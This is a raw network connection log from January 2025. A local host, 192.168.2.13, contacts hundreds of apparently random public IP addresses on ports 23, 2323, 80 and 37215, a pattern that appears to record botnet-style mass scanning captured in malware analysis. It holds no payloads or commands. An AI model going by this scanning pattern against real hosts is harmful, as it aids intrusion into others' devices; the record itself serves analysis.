Jan 26, 2025 01:43:31.714430094 CET	45517	23	192.168.2.13	196.185.224.152
Jan 26, 2025 01:43:31.714431047 CET	45517	23	192.168.2.13	62.85.108.32
Jan 26, 2025 01:43:31.715184927 CET	80	50710	95.0.96.253	192.168.2.13
Jan 26, 2025 01:43:31.715199947 CET	2323	50470	217.145.248.189	192.168.2.13
Jan 26, 2025 01:43:31.715326071 CET	50710	80	192.168.2.13	95.0.96.253
Jan 26, 2025 01:43:31.715327024 CET	47562	80	192.168.2.13	112.67.230.103
Jan 26, 2025 01:43:31.715354919 CET	50470	2323	192.168.2.13	217.145.248.189
Jan 26, 2025 01:43:31.715357065 CET	47562	80	192.168.2.13	112.104.118.194
Jan 26, 2025 01:43:31.715375900 CET	47562	80	192.168.2.13	112.222.244.63
Jan 26, 2025 01:43:31.715387106 CET	47562	80	192.168.2.13	112.207.2.5
Jan 26, 2025 01:43:31.715399027 CET	47562	80	192.168.2.13	112.162.42.121
Jan 26, 2025 01:43:31.715399981 CET	47562	80	192.168.2.13	112.52.225.63
Jan 26, 2025 01:43:31.715420961 CET	47562	80	192.168.2.13	112.169.34.98
Jan 26, 2025 01:43:31.715456009 CET	47562	80	192.168.2.13	112.245.18.34
Jan 26, 2025 01:43:31.715456009 CET	47562	80	192.168.2.13	112.181.214.30
Jan 26, 2025 01:43:31.715470076 CET	47562	80	192.168.2.13	112.54.240.57
Jan 26, 2025 01:43:31.715471029 CET	47562	80	192.168.2.13	112.98.90.137
Jan 26, 2025 01:43:31.715488911 CET	47562	80	192.168.2.13	112.206.192.26
Jan 26, 2025 01:43:31.715488911 CET	47562	80	192.168.2.13	112.34.3.215
Jan 26, 2025 01:43:31.715502024 CET	47562	80	192.168.2.13	112.148.241.20
Jan 26, 2025 01:43:31.715528011 CET	47562	80	192.168.2.13	112.241.80.237
Jan 26, 2025 01:43:31.715531111 CET	47562	80	192.168.2.13	112.108.185.220
Jan 26, 2025 01:43:31.715534925 CET	47562	80	192.168.2.13	112.123.245.137
Jan 26, 2025 01:43:31.715542078 CET	47562	80	192.168.2.13	112.18.243.66
Jan 26, 2025 01:43:31.715564966 CET	47562	80	192.168.2.13	112.233.123.33
Jan 26, 2025 01:43:31.715569973 CET	47562	80	192.168.2.13	112.136.153.202
Jan 26, 2025 01:43:31.715595007 CET	47562	80	192.168.2.13	112.182.202.171
Jan 26, 2025 01:43:31.715600014 CET	47562	80	192.168.2.13	112.210.90.118
Jan 26, 2025 01:43:31.715624094 CET	47562	80	192.168.2.13	112.1.8.11
Jan 26, 2025 01:43:31.715631008 CET	47562	80	192.168.2.13	112.118.41.109
Jan 26, 2025 01:43:31.715639114 CET	47562	80	192.168.2.13	112.146.243.96
Jan 26, 2025 01:43:31.715645075 CET	47562	80	192.168.2.13	112.98.184.26
Jan 26, 2025 01:43:31.715645075 CET	47562	80	192.168.2.13	112.131.41.254
Jan 26, 2025 01:43:31.715675116 CET	47562	80	192.168.2.13	112.48.159.253
Jan 26, 2025 01:43:31.715676069 CET	47562	80	192.168.2.13	112.253.218.44
Jan 26, 2025 01:43:31.715698004 CET	47562	80	192.168.2.13	112.210.11.110
Jan 26, 2025 01:43:31.715698957 CET	47562	80	192.168.2.13	112.153.109.232
Jan 26, 2025 01:43:31.715718985 CET	47562	80	192.168.2.13	112.17.120.26
Jan 26, 2025 01:43:31.715722084 CET	47562	80	192.168.2.13	112.255.205.216
Jan 26, 2025 01:43:31.715728045 CET	47562	80	192.168.2.13	112.6.104.158
Jan 26, 2025 01:43:31.715749979 CET	47562	80	192.168.2.13	112.140.159.76
Jan 26, 2025 01:43:31.715770006 CET	47562	80	192.168.2.13	112.147.58.23
Jan 26, 2025 01:43:31.715773106 CET	47562	80	192.168.2.13	112.208.100.152
Jan 26, 2025 01:43:31.715785980 CET	47562	80	192.168.2.13	112.62.114.221
Jan 26, 2025 01:43:31.715790987 CET	47562	80	192.168.2.13	112.224.27.97
Jan 26, 2025 01:43:31.715809107 CET	47562	80	192.168.2.13	112.231.56.96
Jan 26, 2025 01:43:31.715830088 CET	47562	80	192.168.2.13	112.168.248.49
Jan 26, 2025 01:43:31.715830088 CET	47562	80	192.168.2.13	112.6.126.29
Jan 26, 2025 01:43:31.715863943 CET	47562	80	192.168.2.13	112.155.184.113
Jan 26, 2025 01:43:31.715863943 CET	47562	80	192.168.2.13	112.236.133.158
Jan 26, 2025 01:43:31.715867996 CET	47562	80	192.168.2.13	112.166.10.156
Jan 26, 2025 01:43:31.715877056 CET	47562	80	192.168.2.13	112.55.101.160
Jan 26, 2025 01:43:31.715888977 CET	47562	80	192.168.2.13	112.213.159.156
Jan 26, 2025 01:43:31.715912104 CET	47562	80	192.168.2.13	112.176.2.129
Jan 26, 2025 01:43:31.715919971 CET	47562	80	192.168.2.13	112.143.136.100
Jan 26, 2025 01:43:31.715934992 CET	47562	80	192.168.2.13	112.209.70.30
Jan 26, 2025 01:43:31.715965986 CET	47562	80	192.168.2.13	112.230.196.141
Jan 26, 2025 01:43:31.715965986 CET	47562	80	192.168.2.13	112.194.169.72
Jan 26, 2025 01:43:31.715970993 CET	47562	80	192.168.2.13	112.240.223.142
Jan 26, 2025 01:43:31.715985060 CET	47562	80	192.168.2.13	112.26.88.133
Jan 26, 2025 01:43:31.715996981 CET	47562	80	192.168.2.13	112.70.250.104
Jan 26, 2025 01:43:31.716012001 CET	47562	80	192.168.2.13	112.232.216.79
Jan 26, 2025 01:43:31.716016054 CET	47562	80	192.168.2.13	112.203.106.176
Jan 26, 2025 01:43:31.716037989 CET	47562	80	192.168.2.13	112.128.151.82
Jan 26, 2025 01:43:31.716058016 CET	47562	80	192.168.2.13	112.9.241.67
Jan 26, 2025 01:43:31.716058016 CET	47562	80	192.168.2.13	112.59.64.111
Jan 26, 2025 01:43:31.716062069 CET	47562	80	192.168.2.13	112.100.111.61
Jan 26, 2025 01:43:31.716069937 CET	47562	80	192.168.2.13	112.238.39.101
Jan 26, 2025 01:43:31.716099024 CET	47562	80	192.168.2.13	112.194.172.89
Jan 26, 2025 01:43:31.716104984 CET	47562	80	192.168.2.13	112.51.97.195
Jan 26, 2025 01:43:31.716120958 CET	47562	80	192.168.2.13	112.85.82.120
Jan 26, 2025 01:43:31.716154099 CET	47562	80	192.168.2.13	112.134.244.183
Jan 26, 2025 01:43:31.716155052 CET	47562	80	192.168.2.13	112.39.96.192
Jan 26, 2025 01:43:31.716166019 CET	47562	80	192.168.2.13	112.18.209.155
Jan 26, 2025 01:43:31.716166019 CET	47562	80	192.168.2.13	112.197.213.251
Jan 26, 2025 01:43:31.716173887 CET	47562	80	192.168.2.13	112.107.172.35
Jan 26, 2025 01:43:31.716177940 CET	47562	80	192.168.2.13	112.145.180.21
Jan 26, 2025 01:43:31.716202021 CET	47562	80	192.168.2.13	112.87.171.172
Jan 26, 2025 01:43:31.716219902 CET	47562	80	192.168.2.13	112.115.161.178
Jan 26, 2025 01:43:31.716254950 CET	47562	80	192.168.2.13	112.26.26.146
Jan 26, 2025 01:43:31.716267109 CET	47562	80	192.168.2.13	112.71.93.0
Jan 26, 2025 01:43:31.716269970 CET	47562	80	192.168.2.13	112.97.178.112
Jan 26, 2025 01:43:31.716272116 CET	47562	80	192.168.2.13	112.230.14.137
Jan 26, 2025 01:43:31.716276884 CET	47562	80	192.168.2.13	112.134.153.179
Jan 26, 2025 01:43:31.716289043 CET	47562	80	192.168.2.13	112.59.107.69
Jan 26, 2025 01:43:31.716298103 CET	47562	80	192.168.2.13	112.222.214.92
Jan 26, 2025 01:43:31.716309071 CET	47562	80	192.168.2.13	112.7.210.138
Jan 26, 2025 01:43:31.716327906 CET	47562	80	192.168.2.13	112.242.13.10
Jan 26, 2025 01:43:31.716351032 CET	47562	80	192.168.2.13	112.168.120.172
Jan 26, 2025 01:43:31.716355085 CET	47562	80	192.168.2.13	112.18.109.51
Jan 26, 2025 01:43:31.716362953 CET	47562	80	192.168.2.13	112.141.21.88
Jan 26, 2025 01:43:31.716377974 CET	47562	80	192.168.2.13	112.218.239.124
Jan 26, 2025 01:43:31.716387987 CET	47562	80	192.168.2.13	112.210.17.98
Jan 26, 2025 01:43:31.716412067 CET	47562	80	192.168.2.13	112.43.84.21
Jan 26, 2025 01:43:31.716412067 CET	47562	80	192.168.2.13	112.162.41.37
Jan 26, 2025 01:43:31.716428041 CET	47562	80	192.168.2.13	112.146.18.218
Jan 26, 2025 01:43:31.716439962 CET	47562	80	192.168.2.13	112.11.116.153
Jan 26, 2025 01:43:31.716444016 CET	47562	80	192.168.2.13	112.247.199.36
Jan 26, 2025 01:43:31.716464043 CET	47562	80	192.168.2.13	112.12.144.226
Jan 26, 2025 01:43:31.716464996 CET	47562	80	192.168.2.13	112.183.97.200
Jan 26, 2025 01:43:31.716486931 CET	47562	80	192.168.2.13	112.179.4.253
Jan 26, 2025 01:43:31.716486931 CET	47562	80	192.168.2.13	112.107.72.114
Jan 26, 2025 01:43:31.716506004 CET	47562	80	192.168.2.13	112.232.40.153
Jan 26, 2025 01:43:31.716552019 CET	47562	80	192.168.2.13	112.238.175.236
Jan 26, 2025 01:43:31.716576099 CET	47562	80	192.168.2.13	112.21.247.168
Jan 26, 2025 01:43:31.716619968 CET	47562	80	192.168.2.13	112.76.9.154
Jan 26, 2025 01:43:31.716624022 CET	47562	80	192.168.2.13	112.34.13.215
Jan 26, 2025 01:43:31.716634035 CET	47562	80	192.168.2.13	112.217.103.237
Jan 26, 2025 01:43:31.716645956 CET	47562	80	192.168.2.13	112.8.8.137
Jan 26, 2025 01:43:31.716645956 CET	47562	80	192.168.2.13	112.247.186.219
Jan 26, 2025 01:43:31.716669083 CET	47562	80	192.168.2.13	112.61.31.63
Jan 26, 2025 01:43:31.716670036 CET	47562	80	192.168.2.13	112.98.186.95
Jan 26, 2025 01:43:31.716685057 CET	47562	80	192.168.2.13	112.145.208.138
Jan 26, 2025 01:43:31.716685057 CET	47562	80	192.168.2.13	112.150.37.188
Jan 26, 2025 01:43:31.716685057 CET	47562	80	192.168.2.13	112.186.124.149
Jan 26, 2025 01:43:31.716685057 CET	47562	80	192.168.2.13	112.69.205.119
Jan 26, 2025 01:43:31.716685057 CET	47562	80	192.168.2.13	112.187.101.45
Jan 26, 2025 01:43:31.716706038 CET	47562	80	192.168.2.13	112.223.242.121
Jan 26, 2025 01:43:31.716717005 CET	47562	80	192.168.2.13	112.152.12.219
Jan 26, 2025 01:43:31.716733932 CET	47562	80	192.168.2.13	112.243.170.150
Jan 26, 2025 01:43:31.716737032 CET	47562	80	192.168.2.13	112.219.81.122
Jan 26, 2025 01:43:31.716756105 CET	47562	80	192.168.2.13	112.56.85.129
Jan 26, 2025 01:43:31.716773033 CET	47562	80	192.168.2.13	112.2.102.208
Jan 26, 2025 01:43:31.716777086 CET	47562	80	192.168.2.13	112.60.38.196
Jan 26, 2025 01:43:31.716780901 CET	47562	80	192.168.2.13	112.143.172.121
Jan 26, 2025 01:43:31.716784000 CET	47562	80	192.168.2.13	112.169.34.145
Jan 26, 2025 01:43:31.716801882 CET	47562	80	192.168.2.13	112.76.14.249
Jan 26, 2025 01:43:31.716826916 CET	47562	80	192.168.2.13	112.166.87.113
Jan 26, 2025 01:43:31.716828108 CET	47562	80	192.168.2.13	112.27.219.186
Jan 26, 2025 01:43:31.716850996 CET	47562	80	192.168.2.13	112.148.60.116
Jan 26, 2025 01:43:31.716867924 CET	47562	80	192.168.2.13	112.37.75.85
Jan 26, 2025 01:43:31.716870070 CET	47562	80	192.168.2.13	112.182.115.16
Jan 26, 2025 01:43:31.716870070 CET	47562	80	192.168.2.13	112.83.135.217
Jan 26, 2025 01:43:31.716895103 CET	47562	80	192.168.2.13	112.100.85.182
Jan 26, 2025 01:43:31.716903925 CET	47562	80	192.168.2.13	112.103.228.111
Jan 26, 2025 01:43:31.716903925 CET	47562	80	192.168.2.13	112.152.94.236
Jan 26, 2025 01:43:31.716929913 CET	47562	80	192.168.2.13	112.165.246.9
Jan 26, 2025 01:43:31.716949940 CET	47562	80	192.168.2.13	112.36.117.120
Jan 26, 2025 01:43:31.716952085 CET	47562	80	192.168.2.13	112.13.254.124
Jan 26, 2025 01:43:31.716972113 CET	47562	80	192.168.2.13	112.130.129.254
Jan 26, 2025 01:43:31.716974020 CET	47562	80	192.168.2.13	112.185.21.69
Jan 26, 2025 01:43:31.716985941 CET	47562	80	192.168.2.13	112.99.61.7
Jan 26, 2025 01:43:31.716985941 CET	47562	80	192.168.2.13	112.35.100.184
Jan 26, 2025 01:43:31.717021942 CET	47562	80	192.168.2.13	112.207.51.103
Jan 26, 2025 01:43:31.717022896 CET	47562	80	192.168.2.13	112.99.125.49
Jan 26, 2025 01:43:31.717050076 CET	47562	80	192.168.2.13	112.132.3.40
Jan 26, 2025 01:43:31.717050076 CET	47562	80	192.168.2.13	112.241.9.242
Jan 26, 2025 01:43:31.717051983 CET	47562	80	192.168.2.13	112.44.21.201
Jan 26, 2025 01:43:31.717075109 CET	47562	80	192.168.2.13	112.195.103.139
Jan 26, 2025 01:43:31.717075109 CET	47562	80	192.168.2.13	112.186.184.40
Jan 26, 2025 01:43:31.717108965 CET	47562	80	192.168.2.13	112.11.204.65
Jan 26, 2025 01:43:31.717120886 CET	47562	80	192.168.2.13	112.164.255.161
Jan 26, 2025 01:43:31.717120886 CET	47562	80	192.168.2.13	112.109.81.136
Jan 26, 2025 01:43:31.717139959 CET	47562	80	192.168.2.13	112.150.39.198
Jan 26, 2025 01:43:31.717156887 CET	47562	80	192.168.2.13	112.88.221.172
Jan 26, 2025 01:43:31.717170000 CET	47562	80	192.168.2.13	112.53.80.117
Jan 26, 2025 01:43:31.717186928 CET	47562	80	192.168.2.13	112.121.29.56
Jan 26, 2025 01:43:31.717186928 CET	47562	80	192.168.2.13	112.20.225.189
Jan 26, 2025 01:43:31.717202902 CET	47562	80	192.168.2.13	112.219.114.34
Jan 26, 2025 01:43:31.717205048 CET	47562	80	192.168.2.13	112.101.78.127
Jan 26, 2025 01:43:31.717205048 CET	47562	80	192.168.2.13	112.95.12.152
Jan 26, 2025 01:43:31.717221975 CET	47562	80	192.168.2.13	112.235.126.94
Jan 26, 2025 01:43:31.717251062 CET	47562	80	192.168.2.13	112.121.151.12
Jan 26, 2025 01:43:31.717261076 CET	47562	80	192.168.2.13	112.4.107.85
Jan 26, 2025 01:43:31.717276096 CET	47562	80	192.168.2.13	112.139.168.142
Jan 26, 2025 01:43:31.717303038 CET	47562	80	192.168.2.13	112.42.0.237
Jan 26, 2025 01:43:31.717303991 CET	50710	80	192.168.2.13	95.0.96.253
Jan 26, 2025 01:43:31.717303991 CET	50710	80	192.168.2.13	95.0.96.253
Jan 26, 2025 01:43:31.717885017 CET	2323	45517	132.25.172.90	192.168.2.13
Jan 26, 2025 01:43:31.717931986 CET	45517	2323	192.168.2.13	132.25.172.90
Jan 26, 2025 01:43:31.718283892 CET	51198	80	192.168.2.13	95.0.96.253
Jan 26, 2025 01:43:31.719052076 CET	37215	52372	197.59.135.242	192.168.2.13
Jan 26, 2025 01:43:31.719065905 CET	37215	52274	197.108.55.106	192.168.2.13
Jan 26, 2025 01:43:31.719078064 CET	37215	54432	197.250.15.88	192.168.2.13
Jan 26, 2025 01:43:31.719090939 CET	37215	36282	197.191.89.13	192.168.2.13
Jan 26, 2025 01:43:31.719104052 CET	37215	47932	197.228.189.105	192.168.2.13
Jan 26, 2025 01:43:31.719115019 CET	37215	53584	197.93.168.175	192.168.2.13
Jan 26, 2025 01:43:31.719137907 CET	37215	43364	197.135.176.18	192.168.2.13
Jan 26, 2025 01:43:31.719150066 CET	37215	32968	197.195.172.21	192.168.2.13
Jan 26, 2025 01:43:31.719161987 CET	37215	38492	197.78.171.91	192.168.2.13
Jan 26, 2025 01:43:31.719172955 CET	37215	51252	197.249.41.84	192.168.2.13
Jan 26, 2025 01:43:31.719185114 CET	37215	52646	197.22.255.19	192.168.2.13
Jan 26, 2025 01:43:31.719206095 CET	37215	38302	197.94.241.190	192.168.2.13
Jan 26, 2025 01:43:31.719217062 CET	37215	33348	197.180.11.22	192.168.2.13
Jan 26, 2025 01:43:31.719228029 CET	37215	35172	197.25.160.21	192.168.2.13
Jan 26, 2025 01:43:31.719239950 CET	37215	40184	197.157.251.214	192.168.2.13
Jan 26, 2025 01:43:31.719250917 CET	37215	38338	197.241.17.70	192.168.2.13
Jan 26, 2025 01:43:31.722105026 CET	80	50710	95.0.96.253	192.168.2.13
Jan 26, 2025 01:43:31.730977058 CET	80	45494	95.195.54.164	192.168.2.13
Jan 26, 2025 01:43:31.730989933 CET	80	57974	95.52.124.244	192.168.2.13
Jan 26, 2025 01:43:31.731012106 CET	37215	54512	197.181.32.160	192.168.2.13
Jan 26, 2025 01:43:31.741350889 CET	58424	37215	192.168.2.13	197.241.78.99
Jan 26, 2025 01:43:31.741350889 CET	56816	37215	192.168.2.13	197.152.206.30
Jan 26, 2025 01:43:31.741350889 CET	50200	80	192.168.2.13	95.6.34.230
Jan 26, 2025 01:43:31.741350889 CET	60866	80	192.168.2.13	95.188.76.123
Jan 26, 2025 01:43:31.741355896 CET	53872	80	192.168.2.13	95.9.63.185
Jan 26, 2025 01:43:31.741355896 CET	34520	80	192.168.2.13	95.37.30.205
Jan 26, 2025 01:43:31.741365910 CET	38170	80	192.168.2.13	95.149.17.221
Jan 26, 2025 01:43:31.741365910 CET	45586	37215	192.168.2.13	197.215.187.35
Jan 26, 2025 01:43:31.741367102 CET	38302	80	192.168.2.13	95.62.11.187
Jan 26, 2025 01:43:31.741368055 CET	49316	80	192.168.2.13	95.2.67.231
Jan 26, 2025 01:43:31.741368055 CET	45366	37215	192.168.2.13	197.212.52.81
Jan 26, 2025 01:43:31.741367102 CET	38492	37215	192.168.2.13	197.152.236.96
Jan 26, 2025 01:43:31.741372108 CET	40748	80	192.168.2.13	95.107.212.128
Jan 26, 2025 01:43:31.741372108 CET	36916	80	192.168.2.13	95.206.15.11
Jan 26, 2025 01:43:31.741373062 CET	33412	80	192.168.2.13	95.195.96.182
Jan 26, 2025 01:43:31.741379023 CET	58216	37215	192.168.2.13	197.202.39.253
Jan 26, 2025 01:43:31.741384029 CET	42842	37215	192.168.2.13	197.171.72.100
Jan 26, 2025 01:43:31.741384029 CET	52356	37215	192.168.2.13	197.102.21.81
Jan 26, 2025 01:43:31.746664047 CET	37215	58424	197.241.78.99	192.168.2.13
Jan 26, 2025 01:43:31.746735096 CET	58424	37215	192.168.2.13	197.241.78.99
Jan 26, 2025 01:43:31.746769905 CET	37215	56816	197.152.206.30	192.168.2.13
Jan 26, 2025 01:43:31.746800900 CET	56816	37215	192.168.2.13	197.152.206.30
Jan 26, 2025 01:43:31.746845007 CET	47415	37215	192.168.2.13	41.95.96.43
Jan 26, 2025 01:43:31.746854067 CET	47415	37215	192.168.2.13	41.156.186.7
Jan 26, 2025 01:43:31.746862888 CET	47415	37215	192.168.2.13	41.223.129.224
Jan 26, 2025 01:43:31.746877909 CET	47415	37215	192.168.2.13	41.195.110.160
Jan 26, 2025 01:43:31.746907949 CET	47415	37215	192.168.2.13	41.101.214.244
Jan 26, 2025 01:43:31.746911049 CET	47415	37215	192.168.2.13	41.123.234.37
Jan 26, 2025 01:43:31.746915102 CET	47415	37215	192.168.2.13	41.228.37.193
Jan 26, 2025 01:43:31.746937037 CET	47415	37215	192.168.2.13	41.0.100.188
Jan 26, 2025 01:43:31.746948957 CET	47415	37215	192.168.2.13	41.71.177.248
Jan 26, 2025 01:43:31.746965885 CET	47415	37215	192.168.2.13	41.151.246.105
Jan 26, 2025 01:43:31.746967077 CET	47415	37215	192.168.2.13	41.220.203.56
Jan 26, 2025 01:43:31.746978045 CET	47415	37215	192.168.2.13	41.13.82.100
Jan 26, 2025 01:43:31.746995926 CET	47415	37215	192.168.2.13	41.118.32.15
Jan 26, 2025 01:43:31.746999979 CET	47415	37215	192.168.2.13	41.150.19.139
Jan 26, 2025 01:43:31.747010946 CET	47415	37215	192.168.2.13	41.210.221.195
Jan 26, 2025 01:43:31.747047901 CET	47415	37215	192.168.2.13	41.47.80.202
Jan 26, 2025 01:43:31.747049093 CET	47415	37215	192.168.2.13	41.89.239.125
Jan 26, 2025 01:43:31.747066021 CET	47415	37215	192.168.2.13	41.91.126.92
Jan 26, 2025 01:43:31.747071981 CET	47415	37215	192.168.2.13	41.99.191.246
Jan 26, 2025 01:43:31.747102022 CET	47415	37215	192.168.2.13	41.192.33.252
Jan 26, 2025 01:43:31.747114897 CET	47415	37215	192.168.2.13	41.65.230.95
Jan 26, 2025 01:43:31.747137070 CET	47415	37215	192.168.2.13	41.94.212.23
Jan 26, 2025 01:43:31.747153044 CET	47415	37215	192.168.2.13	41.122.60.71
Jan 26, 2025 01:43:31.747163057 CET	47415	37215	192.168.2.13	41.124.28.240
Jan 26, 2025 01:43:31.747163057 CET	47415	37215	192.168.2.13	41.126.97.143
Jan 26, 2025 01:43:31.747163057 CET	47415	37215	192.168.2.13	41.219.114.54
Jan 26, 2025 01:43:31.747163057 CET	47415	37215	192.168.2.13	41.219.15.48
Jan 26, 2025 01:43:31.747172117 CET	47415	37215	192.168.2.13	41.35.104.42
Jan 26, 2025 01:43:31.747180939 CET	47415	37215	192.168.2.13	41.165.39.12
Jan 26, 2025 01:43:31.747211933 CET	47415	37215	192.168.2.13	41.101.173.48
Jan 26, 2025 01:43:31.747225046 CET	47415	37215	192.168.2.13	41.95.173.32
Jan 26, 2025 01:43:31.747236967 CET	47415	37215	192.168.2.13	41.89.242.96
Jan 26, 2025 01:43:31.747260094 CET	47415	37215	192.168.2.13	41.30.39.255
Jan 26, 2025 01:43:31.747279882 CET	47415	37215	192.168.2.13	41.248.224.79
Jan 26, 2025 01:43:31.747281075 CET	47415	37215	192.168.2.13	41.160.59.15
Jan 26, 2025 01:43:31.747287035 CET	47415	37215	192.168.2.13	41.3.233.153
Jan 26, 2025 01:43:31.747287989 CET	47415	37215	192.168.2.13	41.105.82.134
Jan 26, 2025 01:43:31.747303009 CET	47415	37215	192.168.2.13	41.70.47.247
Jan 26, 2025 01:43:31.747303963 CET	47415	37215	192.168.2.13	41.16.58.210
Jan 26, 2025 01:43:31.747328043 CET	47415	37215	192.168.2.13	41.15.215.137
Jan 26, 2025 01:43:31.747355938 CET	47415	37215	192.168.2.13	41.96.245.246
Jan 26, 2025 01:43:31.747380018 CET	47415	37215	192.168.2.13	41.29.222.201
Jan 26, 2025 01:43:31.747386932 CET	47415	37215	192.168.2.13	41.32.30.197
Jan 26, 2025 01:43:31.747426033 CET	47415	37215	192.168.2.13	41.52.68.14
Jan 26, 2025 01:43:31.747441053 CET	47415	37215	192.168.2.13	41.202.139.28
Jan 26, 2025 01:43:31.747458935 CET	47415	37215	192.168.2.13	41.84.220.68
Jan 26, 2025 01:43:31.747458935 CET	47415	37215	192.168.2.13	41.80.160.255
Jan 26, 2025 01:43:31.747476101 CET	47415	37215	192.168.2.13	41.212.44.239
Jan 26, 2025 01:43:31.747477055 CET	47415	37215	192.168.2.13	41.244.72.12
Jan 26, 2025 01:43:31.747489929 CET	47415	37215	192.168.2.13	41.8.123.97
Jan 26, 2025 01:43:31.747489929 CET	47415	37215	192.168.2.13	41.228.84.7
Jan 26, 2025 01:43:31.747489929 CET	47415	37215	192.168.2.13	41.28.46.76
Jan 26, 2025 01:43:31.747498989 CET	47415	37215	192.168.2.13	41.79.192.174
Jan 26, 2025 01:43:31.747499943 CET	47415	37215	192.168.2.13	41.188.248.144
Jan 26, 2025 01:43:31.747515917 CET	47415	37215	192.168.2.13	41.254.217.252
Jan 26, 2025 01:43:31.747540951 CET	47415	37215	192.168.2.13	41.153.137.74
Jan 26, 2025 01:43:31.747541904 CET	47415	37215	192.168.2.13	41.234.76.174
Jan 26, 2025 01:43:31.747576952 CET	47415	37215	192.168.2.13	41.185.154.127
Jan 26, 2025 01:43:31.747596025 CET	47415	37215	192.168.2.13	41.54.180.242
Jan 26, 2025 01:43:31.747622013 CET	47415	37215	192.168.2.13	41.12.160.58
Jan 26, 2025 01:43:31.747622967 CET	47415	37215	192.168.2.13	41.14.31.103
Jan 26, 2025 01:43:31.747646093 CET	47415	37215	192.168.2.13	41.147.27.161
Jan 26, 2025 01:43:31.747648001 CET	47415	37215	192.168.2.13	41.28.54.84
Jan 26, 2025 01:43:31.747653961 CET	47415	37215	192.168.2.13	41.208.99.92
Jan 26, 2025 01:43:31.747653961 CET	47415	37215	192.168.2.13	41.201.74.187
Jan 26, 2025 01:43:31.747657061 CET	47415	37215	192.168.2.13	41.226.3.33
Jan 26, 2025 01:43:31.747697115 CET	47415	37215	192.168.2.13	41.7.75.23
Jan 26, 2025 01:43:31.747698069 CET	47415	37215	192.168.2.13	41.122.245.165
Jan 26, 2025 01:43:31.747720003 CET	47415	37215	192.168.2.13	41.207.189.127
Jan 26, 2025 01:43:31.747729063 CET	47415	37215	192.168.2.13	41.85.230.23
Jan 26, 2025 01:43:31.747731924 CET	47415	37215	192.168.2.13	41.29.180.57
Jan 26, 2025 01:43:31.747741938 CET	47415	37215	192.168.2.13	41.182.191.163
Jan 26, 2025 01:43:31.747766018 CET	47415	37215	192.168.2.13	41.203.10.187
Jan 26, 2025 01:43:31.747766018 CET	47415	37215	192.168.2.13	41.227.78.28
Jan 26, 2025 01:43:31.747795105 CET	47415	37215	192.168.2.13	41.245.145.137
Jan 26, 2025 01:43:31.747814894 CET	47415	37215	192.168.2.13	41.109.177.147
Jan 26, 2025 01:43:31.747818947 CET	47415	37215	192.168.2.13	41.2.135.3
Jan 26, 2025 01:43:31.747848034 CET	47415	37215	192.168.2.13	41.105.42.83
Jan 26, 2025 01:43:31.747848034 CET	47415	37215	192.168.2.13	41.72.105.137
Jan 26, 2025 01:43:31.747868061 CET	47415	37215	192.168.2.13	41.254.220.23
Jan 26, 2025 01:43:31.747879028 CET	47415	37215	192.168.2.13	41.241.157.195
Jan 26, 2025 01:43:31.747893095 CET	47415	37215	192.168.2.13	41.124.144.198
Jan 26, 2025 01:43:31.747911930 CET	47415	37215	192.168.2.13	41.131.176.72
Jan 26, 2025 01:43:31.747915030 CET	47415	37215	192.168.2.13	41.123.62.204
Jan 26, 2025 01:43:31.747934103 CET	47415	37215	192.168.2.13	41.30.219.124
Jan 26, 2025 01:43:31.747956038 CET	47415	37215	192.168.2.13	41.225.24.161
Jan 26, 2025 01:43:31.747960091 CET	47415	37215	192.168.2.13	41.241.253.64
Jan 26, 2025 01:43:31.747971058 CET	47415	37215	192.168.2.13	41.20.203.94
Jan 26, 2025 01:43:31.747999907 CET	47415	37215	192.168.2.13	41.76.60.164
Jan 26, 2025 01:43:31.748001099 CET	47415	37215	192.168.2.13	41.22.136.47
Jan 26, 2025 01:43:31.747999907 CET	47415	37215	192.168.2.13	41.199.197.120
Jan 26, 2025 01:43:31.748025894 CET	47415	37215	192.168.2.13	41.36.221.118
Jan 26, 2025 01:43:31.748037100 CET	47415	37215	192.168.2.13	41.18.28.109
Jan 26, 2025 01:43:31.748037100 CET	47415	37215	192.168.2.13	41.0.237.189
Jan 26, 2025 01:43:31.748037100 CET	47415	37215	192.168.2.13	41.87.213.164
Jan 26, 2025 01:43:31.748037100 CET	47415	37215	192.168.2.13	41.145.78.81
Jan 26, 2025 01:43:31.748049974 CET	47415	37215	192.168.2.13	41.252.201.165
Jan 26, 2025 01:43:31.748059988 CET	47415	37215	192.168.2.13	41.217.31.142
Jan 26, 2025 01:43:31.748083115 CET	47415	37215	192.168.2.13	41.69.95.151
Jan 26, 2025 01:43:31.748085022 CET	47415	37215	192.168.2.13	41.167.57.175
Jan 26, 2025 01:43:31.748092890 CET	47415	37215	192.168.2.13	41.54.92.106
Jan 26, 2025 01:43:31.748131037 CET	47415	37215	192.168.2.13	41.96.26.58
Jan 26, 2025 01:43:31.748131037 CET	47415	37215	192.168.2.13	41.80.88.235
Jan 26, 2025 01:43:31.748131990 CET	47415	37215	192.168.2.13	41.183.233.130
Jan 26, 2025 01:43:31.748137951 CET	47415	37215	192.168.2.13	41.49.18.108
Jan 26, 2025 01:43:31.748181105 CET	47415	37215	192.168.2.13	41.252.139.250
Jan 26, 2025 01:43:31.748198032 CET	47415	37215	192.168.2.13	41.188.73.137
Jan 26, 2025 01:43:31.748198986 CET	47415	37215	192.168.2.13	41.234.2.62
Jan 26, 2025 01:43:31.748207092 CET	47415	37215	192.168.2.13	41.214.206.186
Jan 26, 2025 01:43:31.748208046 CET	47415	37215	192.168.2.13	41.8.137.114
Jan 26, 2025 01:43:31.748223066 CET	47415	37215	192.168.2.13	41.183.156.27
Jan 26, 2025 01:43:31.748243093 CET	47415	37215	192.168.2.13	41.108.3.45
Jan 26, 2025 01:43:31.748251915 CET	47415	37215	192.168.2.13	41.13.135.116
Jan 26, 2025 01:43:31.748271942 CET	47415	37215	192.168.2.13	41.99.38.54
Jan 26, 2025 01:43:31.748291969 CET	47415	37215	192.168.2.13	41.50.170.135
Jan 26, 2025 01:43:31.748296022 CET	47415	37215	192.168.2.13	41.239.240.207
Jan 26, 2025 01:43:31.748315096 CET	47415	37215	192.168.2.13	41.26.81.125
Jan 26, 2025 01:43:31.748346090 CET	47415	37215	192.168.2.13	41.41.78.182
Jan 26, 2025 01:43:31.748369932 CET	47415	37215	192.168.2.13	41.114.48.158
Jan 26, 2025 01:43:31.748390913 CET	47415	37215	192.168.2.13	41.143.111.0
Jan 26, 2025 01:43:31.748392105 CET	47415	37215	192.168.2.13	41.207.64.233
Jan 26, 2025 01:43:31.748398066 CET	47415	37215	192.168.2.13	41.150.148.178
Jan 26, 2025 01:43:31.748398066 CET	47415	37215	192.168.2.13	41.9.238.233
Jan 26, 2025 01:43:31.748398066 CET	47415	37215	192.168.2.13	41.184.22.170
